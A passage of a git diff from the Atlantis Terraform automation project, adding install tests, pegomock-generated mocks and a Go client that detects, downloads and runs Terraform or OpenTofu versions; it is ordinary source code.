v) + if err != nil { + t.Fatalf("Unexpected error: %v", err) + } + + if _, err := os.Stat(newPath); os.IsNotExist(err) { + t.Errorf("Binary not found at %s", newPath) + } +} + +func TestOpenTofuInstall(t *testing.T) { + d := &terraform.TofuDownloader{} + RegisterMockTestingT(t) + binDir := t.TempDir() + + v, _ := version.NewVersion("1.8.0") + + newPath, err := d.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v) + if err != nil { + t.Fatalf("Unexpected error: %v", err) + } + + if _, err := os.Stat(newPath); os.IsNotExist(err) { + t.Errorf("Binary not found at %s", newPath) + } +} diff --git a/server/core/terraform/mocks/mock_downloader.go b/server/core/terraform/mocks/mock_downloader.go new file mode 100644 index 0000000000..8f2e57c24d --- /dev/null +++ b/server/core/terraform/mocks/mock_downloader.go @@ -0,0 +1,130 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/terraform (interfaces: Downloader) + +package mocks + +import ( + context "context" + go_version "github.com/hashicorp/go-version" + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockDownloader struct { + fail func(message string, callerSkip ...int) +} + +func NewMockDownloader(options ...pegomock.Option) *MockDownloader { + mock := &MockDownloader{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockDownloader) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockDownloader) Install(ctx context.Context, dir string, downloadURL string, v *go_version.Version) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockDownloader().") + } + _params := []pegomock.Param{ctx, dir, downloadURL, v} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Install", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockDownloader struct { + mock *MockDownloader + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockDownloader) Install(ctx context.Context, dir string, downloadURL string, v *go_version.Version) *MockDownloader_Install_OngoingVerification { + _params := []pegomock.Param{ctx, dir, downloadURL, v} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Install", _params, verifier.timeout) + return &MockDownloader_Install_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockDownloader_Install_OngoingVerification struct { + mock *MockDownloader + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockDownloader_Install_OngoingVerification) GetCapturedArguments() (context.Context, string, string, *go_version.Version) { + ctx, dir, downloadURL, v := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], dir[len(dir)-1], downloadURL[len(downloadURL)-1], v[len(v)-1] +} + +func (c *MockDownloader_Install_OngoingVerification) GetAllCapturedArguments() (_param0 []context.Context, _param1 []string, _param2 []string, _param3 []*go_version.Version) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]context.Context, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(context.Context) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(*go_version.Version) + } + } + } + return +} diff --git a/server/core/terraform/tfclient/mocks/mock_terraform_client.go b/server/core/terraform/tfclient/mocks/mock_terraform_client.go new file mode 100644 index 0000000000..9dca6ffd4b --- /dev/null +++ b/server/core/terraform/tfclient/mocks/mock_terraform_client.go @@ -0,0 +1,256 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/terraform/tfclient (interfaces: Client) + +package mocks + +import ( + go_version "github.com/hashicorp/go-version" + pegomock "github.com/petergtz/pegomock/v4" + terraform "github.com/runatlantis/atlantis/server/core/terraform" + command "github.com/runatlantis/atlantis/server/events/command" + logging "github.com/runatlantis/atlantis/server/logging" + "reflect" + "time" +) + +type MockClient struct { + fail func(message string, callerSkip ...int) +} + +func NewMockClient(options ...pegomock.Option) *MockClient { + mock := &MockClient{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockClient) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *go_version.Version { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{log, projectDirectory} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DetectVersion", _params, []reflect.Type{reflect.TypeOf((**go_version.Version)(nil)).Elem()}) + var _ret0 *go_version.Version + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*go_version.Version) + } + } + return _ret0 +} + +func (mock *MockClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *go_version.Version) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{log, d, v} + _result := pegomock.GetGenericMockFrom(mock).Invoke("EnsureVersion", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockClient().") + } + _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("RunCommandWithVersion", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient { + return &VerifierMockClient{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockClient { + return &VerifierMockClient{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient { + return &VerifierMockClient{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockClient { + return &VerifierMockClient{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockClient struct { + mock *MockClient + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *MockClient_DetectVersion_OngoingVerification { + _params := []pegomock.Param{log, projectDirectory} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DetectVersion", _params, verifier.timeout) + return &MockClient_DetectVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_DetectVersion_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_DetectVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { + log, projectDirectory := c.GetAllCapturedArguments() + return log[len(log)-1], projectDirectory[len(projectDirectory)-1] +} + +func (c *MockClient_DetectVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *go_version.Version) *MockClient_EnsureVersion_OngoingVerification { + _params := []pegomock.Param{log, d, v} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "EnsureVersion", _params, verifier.timeout) + return &MockClient_EnsureVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_EnsureVersion_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_EnsureVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, terraform.Distribution, *go_version.Version) { + log, d, v := c.GetAllCapturedArguments() + return log[len(log)-1], d[len(d)-1], v[len(v)-1] +} + +func (c *MockClient_EnsureVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []terraform.Distribution, _param2 []*go_version.Version) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]terraform.Distribution, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(terraform.Distribution) + } + } + if len(_params) > 2 { + _param2 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(*go_version.Version) + } + } + } + return +} + +func (verifier *VerifierMockClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) *MockClient_RunCommandWithVersion_OngoingVerification { + _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommandWithVersion", _params, verifier.timeout) + return &MockClient_RunCommandWithVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_RunCommandWithVersion_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_RunCommandWithVersion_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, []string, map[string]string, terraform.Distribution, *go_version.Version, string) { + ctx, path, args, envs, d, v, workspace := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], d[len(d)-1], v[len(v)-1], workspace[len(workspace)-1] +} + +func (c *MockClient_RunCommandWithVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []terraform.Distribution, _param5 []*go_version.Version, _param6 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.([]string) + } + } + if len(_params) > 3 { + _param3 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(map[string]string) + } + } + if len(_params) > 4 { + _param4 = make([]terraform.Distribution, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(terraform.Distribution) + } + } + if len(_params) > 5 { + _param5 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(*go_version.Version) + } + } + if len(_params) > 6 { + _param6 = make([]string, len(c.methodInvocations)) + for u, param := range _params[6] { + _param6[u] = param.(string) + } + } + } + return +} diff --git a/server/core/terraform/tfclient/terraform_client.go b/server/core/terraform/tfclient/terraform_client.go new file mode 100644 index 0000000000..5ef864db79 --- /dev/null +++ b/server/core/terraform/tfclient/terraform_client.go @@ -0,0 +1,603 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. +// +// Package tfclient handles the actual running of terraform commands. +package tfclient + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "regexp" + "strings" + "sync" + "time" + + "github.com/hashicorp/go-version" + "github.com/hashicorp/terraform-config-inspect/tfconfig" + "github.com/mitchellh/go-homedir" + "github.com/pkg/errors" + + "github.com/runatlantis/atlantis/server/core/runtime/models" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/ansi" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/jobs" + "github.com/runatlantis/atlantis/server/logging" +) + +var LogStreamingValidCmds = [...]string{"init", "plan", "apply"} + +//go:generate pegomock generate --package mocks -o mocks/mock_terraform_client.go Client + +type Client interface { + // RunCommandWithVersion executes terraform with args in path. If v is nil, + // it will use the default Terraform version. workspace is the Terraform + // workspace which should be set as an environment variable. + RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) + + // EnsureVersion makes sure that terraform version `v` is available to use + EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error + + // DetectVersion Extracts required_version from Terraform configuration in the specified project directory. Returns nil if unable to determine the version. + DetectVersion(log logging.SimpleLogging, projectDirectory string) *version.Version +} + +type DefaultClient struct { + // Distribution handles logic specific to the TF distribution being used by Atlantis + distribution terraform.Distribution + + // defaultVersion is the default version of terraform to use if another + // version isn't specified. + defaultVersion *version.Version + // We will run terraform with the TF_PLUGIN_CACHE_DIR env var set to this + // directory inside our data dir. + terraformPluginCacheDir string + binDir string + // overrideTF can be used to override the terraform binary during testing + // with another binary, ex. echo. + overrideTF string + // settings for the downloader. + downloadBaseURL string + downloadAllowed bool + // versions maps from the string representation of a tf version (ex. 0.11.10) + // to the absolute path of that binary on disk (if it exists). + // Use versionsLock to control access. + versions map[string]string + + // versionsLock is used to ensure versions isn't being concurrently written to. + versionsLock *sync.Mutex + + // usePluginCache determines whether or not to set the TF_PLUGIN_CACHE_DIR env var + usePluginCache bool + + projectCmdOutputHandler jobs.ProjectCommandOutputHandler +} + +// versionRegex extracts the version from `terraform version` output. +// +// Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076) +// => 0.12.0-alpha4 +// +// Terraform v0.11.10 +// => 0.11.10 +// +// OpenTofu v1.0.0 +// => 1.0.0 +var versionRegex = regexp.MustCompile("(?:Terraform|OpenTofu) v(.*?)(\\s.*)?\n") + +// NewClientWithDefaultVersion creates a new terraform client and pre-fetches the default version +func NewClientWithDefaultVersion( + log logging.SimpleLogging, + distribution terraform.Distribution, + binDir string, + cacheDir string, + tfeToken string, + tfeHostname string, + defaultVersionStr string, + defaultVersionFlagName string, + tfDownloadURL string, + tfDownloadAllowed bool, + usePluginCache bool, + fetchAsync bool, + projectCmdOutputHandler jobs.ProjectCommandOutputHandler, +) (*DefaultClient, error) { + var finalDefaultVersion *version.Version + var localVersion *version.Version + versions := make(map[string]string) + var versionsLock sync.Mutex + + localPath, err := exec.LookPath(distribution.BinName()) + if err != nil && defaultVersionStr == "" { + return nil, fmt.Errorf("%s not found in $PATH. Set --%s or download terraform from https://developer.hashicorp.com/terraform/downloads", distribution.BinName(), defaultVersionFlagName) + } + if err == nil { + localVersion, err = getVersion(localPath, distribution.BinName()) + if err != nil { + return nil, err + } + versions[localVersion.String()] = localPath + if defaultVersionStr == "" { + + // If they haven't set a default version, then whatever they had + // locally is now the default. + finalDefaultVersion = localVersion + } + } + + if defaultVersionStr != "" { + defaultVersion, err := version.NewVersion(defaultVersionStr) + if err != nil { + return nil, err + } + finalDefaultVersion = defaultVersion + ensureVersionFunc := func() { + // Since ensureVersion might end up downloading terraform, + // we call it asynchronously so as to not delay server startup. + versionsLock.Lock() + _, err := ensureVersion(log, distribution, versions, defaultVersion, binDir, tfDownloadURL, tfDownloadAllowed) + versionsLock.Unlock() + if err != nil { + log.Err("could not download %s %s: %s", distribution.BinName(), defaultVersion.String(), err) + } + } + + if fetchAsync { + go ensureVersionFunc() + } else { + ensureVersionFunc() + } + } + + // If tfeToken is set, we try to create a ~/.terraformrc file. + if tfeToken != "" { + home, err := homedir.Dir() + if err != nil { + return nil, errors.Wrap(err, "getting home dir to write ~/.terraformrc file") + } + if err := generateRCFile(tfeToken, tfeHostname, home); err != nil { + return nil, err + } + } + return &DefaultClient{ + distribution: distribution, + defaultVersion: finalDefaultVersion, + terraformPluginCacheDir: cacheDir, + binDir: binDir, + downloadBaseURL: tfDownloadURL, + downloadAllowed: tfDownloadAllowed, + versionsLock: &versionsLock, + versions: versions, + usePluginCache: usePluginCache, + projectCmdOutputHandler: projectCmdOutputHandler, + }, nil + +} + +func NewTestClient( + log logging.SimpleLogging, + distribution terraform.Distribution, + binDir string, + cacheDir string, + tfeToken string, + tfeHostname string, + defaultVersionStr string, + defaultVersionFlagName string, + tfDownloadURL string, + tfDownloadAllowed bool, + usePluginCache bool, + projectCmdOutputHandler jobs.ProjectCommandOutputHandler, +) (*DefaultClient, error) { + return NewClientWithDefaultVersion( + log, + distribution, + binDir, + cacheDir, + tfeToken, + tfeHostname, + defaultVersionStr, + defaultVersionFlagName, + tfDownloadURL, + tfDownloadAllowed, + usePluginCache, + false, + projectCmdOutputHandler, + ) +} + +// NewClient constructs a terraform client. +// tfeToken is an optional terraform enterprise token. +// defaultVersionStr is an optional default terraform version to use unless +// a specific version is set. +// defaultVersionFlagName is the name of the flag that sets the default terraform +// version. +// Will asynchronously download the required version if it doesn't exist already. +func NewClient( + log logging.SimpleLogging, + distribution terraform.Distribution, + binDir string, + cacheDir string, + tfeToken string, + tfeHostname string, + defaultVersionStr string, + defaultVersionFlagName string, + tfDownloadURL string, + tfDownloadAllowed bool, + usePluginCache bool, + projectCmdOutputHandler jobs.ProjectCommandOutputHandler, +) (*DefaultClient, error) { + return NewClientWithDefaultVersion( + log, + distribution, + binDir, + cacheDir, + tfeToken, + tfeHostname, + defaultVersionStr, + defaultVersionFlagName, + tfDownloadURL, + tfDownloadAllowed, + usePluginCache, + true, + projectCmdOutputHandler, + ) +} + +func (c *DefaultClient) DefaultDistribution() terraform.Distribution { + return c.distribution +} + +// Version returns the default version of Terraform we use if no other version +// is defined. +func (c *DefaultClient) DefaultVersion() *version.Version { + return c.defaultVersion +} + +// TerraformBinDir returns the directory where we download Terraform binaries. +func (c *DefaultClient) TerraformBinDir() string { + return c.binDir +} + +// ExtractExactRegex attempts to extract an exact version number from the provided string as a fallback. +// The function expects the version string to be in one of the following formats: "= x.y.z", "=x.y.z", or "x.y.z" where x, y, and z are integers. +// If the version string matches one of these formats, the function returns a slice containing the exact version number. +// If the version string does not match any of these formats, the function logs a debug message and returns nil. +func (c *DefaultClient) ExtractExactRegex(log logging.SimpleLogging, version string) []string { + re := regexp.MustCompile(`^=?\s*([0-9.]+)\s*$`) + matched := re.FindStringSubmatch(version) + if len(matched) == 0 { + log.Debug("exact version regex not found in the version %q", version) + return nil + } + // The first element of the slice is the entire string, so we want the second element (the first capture group) + tfVersions := []string{matched[1]} + log.Debug("extracted exact version %q from version %q", tfVersions[0], version) + return tfVersions +} + +// DetectVersion extracts required_version from Terraform configuration in the specified project directory. Returns nil if unable to determine the version. +// It will also try to evaluate non-exact matches by passing the Constraints to the hc-install Releases API, which will return a list of available versions. +// It will then select the highest version that satisfies the constraint. +func (c *DefaultClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *version.Version { + module, diags := tfconfig.LoadModule(projectDirectory) + if diags.HasErrors() { + log.Err("trying to detect required version: %s", diags.Error()) + } + + if len(module.RequiredCore) != 1 { + log.Info("cannot determine which version to use from terraform configuration, detected %d possibilities.", len(module.RequiredCore)) + return nil + } + requiredVersionSetting := module.RequiredCore[0] + log.Debug("Found required_version setting of %q", requiredVersionSetting) + + if !c.downloadAllowed { + log.Debug("terraform downloads disabled.") + matched := c.ExtractExactRegex(log, requiredVersionSetting) + if len(matched) == 0 { + log.Debug("did not specify exact version in terraform configuration, found %q", requiredVersionSetting) + return nil + } + + version, err := version.NewVersion(matched[0]) + if err != nil { + log.Err("error parsing version string: %s", err) + return nil + } + return version + } + + downloadVersion, err := c.distribution.ResolveConstraint(context.Background(), requiredVersionSetting) + if err != nil { + log.Err("%s", err) + return nil + } + + return downloadVersion +} + +// See Client.EnsureVersion. +func (c *DefaultClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error { + if v == nil { + v = c.defaultVersion + } + + var err error + c.versionsLock.Lock() + _, err = ensureVersion(log, d, c.versions, v, c.binDir, c.downloadBaseURL, c.downloadAllowed) + c.versionsLock.Unlock() + if err != nil { + return err + } + + return nil +} + +// See Client.RunCommandWithVersion. +func (c *DefaultClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, customEnvVars map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) { + if isAsyncEligibleCommand(args[0]) { + _, outCh := c.RunCommandAsync(ctx, path, args, customEnvVars, d, v, workspace) + + var lines []string + var err error + for line := range outCh { + if line.Err != nil { + err = line.Err + break + } + lines = append(lines, line.Line) + } + output := strings.Join(lines, "\n") + + // sanitize output by stripping out any ansi characters. + output = ansi.Strip(output) + return fmt.Sprintf("%s\n", output), err + } + tfCmd, cmd, err := c.prepExecCmd(ctx.Log, d, v, workspace, path, args) + if err != nil { + return "", err + } + envVars := cmd.Env + for key, val := range customEnvVars { + envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) + } + cmd.Env = envVars + start := time.Now() + out, err := cmd.CombinedOutput() + dur := time.Since(start) + log := ctx.Log.With("duration", dur) + if err != nil { + err = errors.Wrapf(err, "running '%s' in '%s'", tfCmd, path) + log.Err(err.Error()) + return ansi.Strip(string(out)), err + } + log.Info("Successfully ran '%s' in '%s'", tfCmd, path) + + return ansi.Strip(string(out)), nil +} + +// prepExecCmd builds a ready to execute command based on the version of terraform +// v, and args. It returns a printable representation of the command that will +// be run and the actual command. +func (c *DefaultClient) prepExecCmd(log logging.SimpleLogging, d terraform.Distribution, v *version.Version, workspace string, path string, args []string) (string, *exec.Cmd, error) { + tfCmd, envVars, err := c.prepCmd(log, d, v, workspace, path, args) + if err != nil { + return "", nil, err + } + cmd := exec.Command("sh", "-c", tfCmd) + cmd.Dir = path + cmd.Env = envVars + return tfCmd, cmd, nil +} + +// prepCmd prepares a shell command (to be interpreted with `sh -c `) and set of environment +// variables for running terraform. +func (c *DefaultClient) prepCmd(log logging.SimpleLogging, d terraform.Distribution, v *version.Version, workspace string, path string, args []string) (string, []string, error) { + + if v == nil { + v = c.defaultVersion + } + + var binPath string + if c.overrideTF != "" { + // This is only set during testing. + binPath = c.overrideTF + } else { + var err error + c.versionsLock.Lock() + binPath, err = ensureVersion(log, d, c.versions, v, c.binDir, c.downloadBaseURL, c.downloadAllowed) + c.versionsLock.Unlock() + if err != nil { + return "", nil, err + } + } + + // We add custom variables so that if `extra_args` is specified with env + // vars then they'll be substituted. + envVars := []string{ + // Will de-emphasize specific commands to run in output. + "TF_IN_AUTOMATION=true", + // Cache plugins so terraform init runs faster. + fmt.Sprintf("WORKSPACE=%s", workspace), + fmt.Sprintf("ATLANTIS_TERRAFORM_VERSION=%s", v.String()), + fmt.Sprintf("DIR=%s", path), + } + if c.usePluginCache { + envVars = append(envVars, fmt.Sprintf("TF_PLUGIN_CACHE_DIR=%s", c.terraformPluginCacheDir)) + } + // Append current Atlantis process's environment variables, ex. + // AWS_ACCESS_KEY. + envVars = append(envVars, os.Environ()...) + tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " ")) + return tfCmd, envVars, nil +} + +// RunCommandAsync runs terraform with args. It immediately returns an +// input and output channel. Callers can use the output channel to +// get the realtime output from the command. +// Callers can use the input channel to pass stdin input to the command. +// If any error is passed on the out channel, there will be no +// further output (so callers are free to exit). +func (c *DefaultClient) RunCommandAsync(ctx command.ProjectContext, path string, args []string, customEnvVars map[string]string, d terraform.Distribution, v *version.Version, workspace string) (chan<- string, <-chan models.Line) { + cmd, envVars, err := c.prepCmd(ctx.Log, d, v, workspace, path, args) + if err != nil { + // The signature of `RunCommandAsync` doesn't provide for returning an immediate error, only one + // once reading the output. Since we won't be spawning a process, simulate that by sending the + // errorcustomEnvVars to the output channel. + outCh := make(chan models.Line) + inCh := make(chan string) + go func() { + outCh <- models.Line{Err: err} + close(outCh) + close(inCh) + }() + return inCh, outCh + } + + for key, val := range customEnvVars { + envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) + } + + runner := models.NewShellCommandRunner(nil, cmd, envVars, path, true, c.projectCmdOutputHandler) + inCh, outCh := runner.RunCommandAsync(ctx) + return inCh, outCh +} + +// MustConstraint will parse one or more constraints from the given +// constraint string. The string must be a comma-separated list of +// constraints. It panics if there is an error. +func MustConstraint(v string) version.Constraints { + c, err := version.NewConstraint(v) + if err != nil { + panic(err) + } + return c +} + +// ensureVersion returns the path to a terraform binary of version v. +// It will download this version if we don't have it. +func ensureVersion( + log logging.SimpleLogging, + dist terraform.Distribution, + versions map[string]string, + v *version.Version, + binDir string, + downloadURL string, + downloadsAllowed bool, +) (string, error) { + if binPath, ok := versions[v.String()]; ok { + return binPath, nil + } + + // This tf version might not yet be in the versions map even though it + // exists on disk. This would happen if users have manually added + // terraform{version} binaries. In this case we don't want to re-download. + binFile := dist.BinName() + v.String() + if binPath, err := exec.LookPath(binFile); err == nil { + versions[v.String()] = binPath + return binPath, nil + } + + // The version might also not be in the versions map if it's in our bin dir. + // This could happen if Atlantis was restarted without losing its disk. + dest := filepath.Join(binDir, binFile) + if _, err := os.Stat(dest); err == nil { + versions[v.String()] = dest + return dest, nil + } + if !downloadsAllowed { + return "", fmt.Errorf( + "could not find %s version %s in PATH or %s, and downloads are disabled", + dist.BinName(), + v.String(), + binDir, + ) + } + + log.Info("could not find %s version %s in PATH or %s", dist.BinName(), v.String(), binDir) + + log.Info("downloading %s version %s from download URL %s", dist.BinName(), v.String(), downloadURL) + + execPath, err := dist.Downloader().Install(context.Background(), binDir, downloadURL, v) + + if err != nil { + return "", errors.Wrapf(err, "error downloading %s version %s", dist.BinName(), v.String()) + } + + log.Info("Downloaded %s %s to %s", dist.BinName(), v.String(), execPath) + versions[v.String()] = execPath + return execPath, nil +} + +// generateRCFile generates a .terraformrc file containing config for tfeToken +// and hostname tfeHostname. +// It will create the file in home/.terraformrc. +func generateRCFile(tfeToken string, tfeHostname string, home string) error { + const rcFilename = ".terraformrc" + rcFile := filepath.Join(home, rcFilename) + config := fmt.Sprintf(rcFileContents, tfeHostname, tfeToken) + + // If there is already a .terraformrc file and its contents aren't exactly + // what we would have written to it, then we error out because we don't + // want to overwrite anything. + if _, err := os.Stat(rcFile); err == nil { + currContents, err := os.ReadFile(rcFile) // nolint: gosec + if err != nil { + return errors.Wrapf(err, "trying to read %s to ensure we're not overwriting it", rcFile) + } + if config != string(currContents) { + return fmt.Errorf("can't write TFE token to %s because that file has contents that would be overwritten", rcFile) + } + // Otherwise we don't need to write the file because it already has + // what we need. + return nil + } + + if err := os.WriteFile(rcFile, []byte(config), 0600); err != nil { + return errors.Wrapf(err, "writing generated %s file with TFE token to %s", rcFilename, rcFile) + } + return nil +} + +func isAsyncEligibleCommand(cmd string) bool { 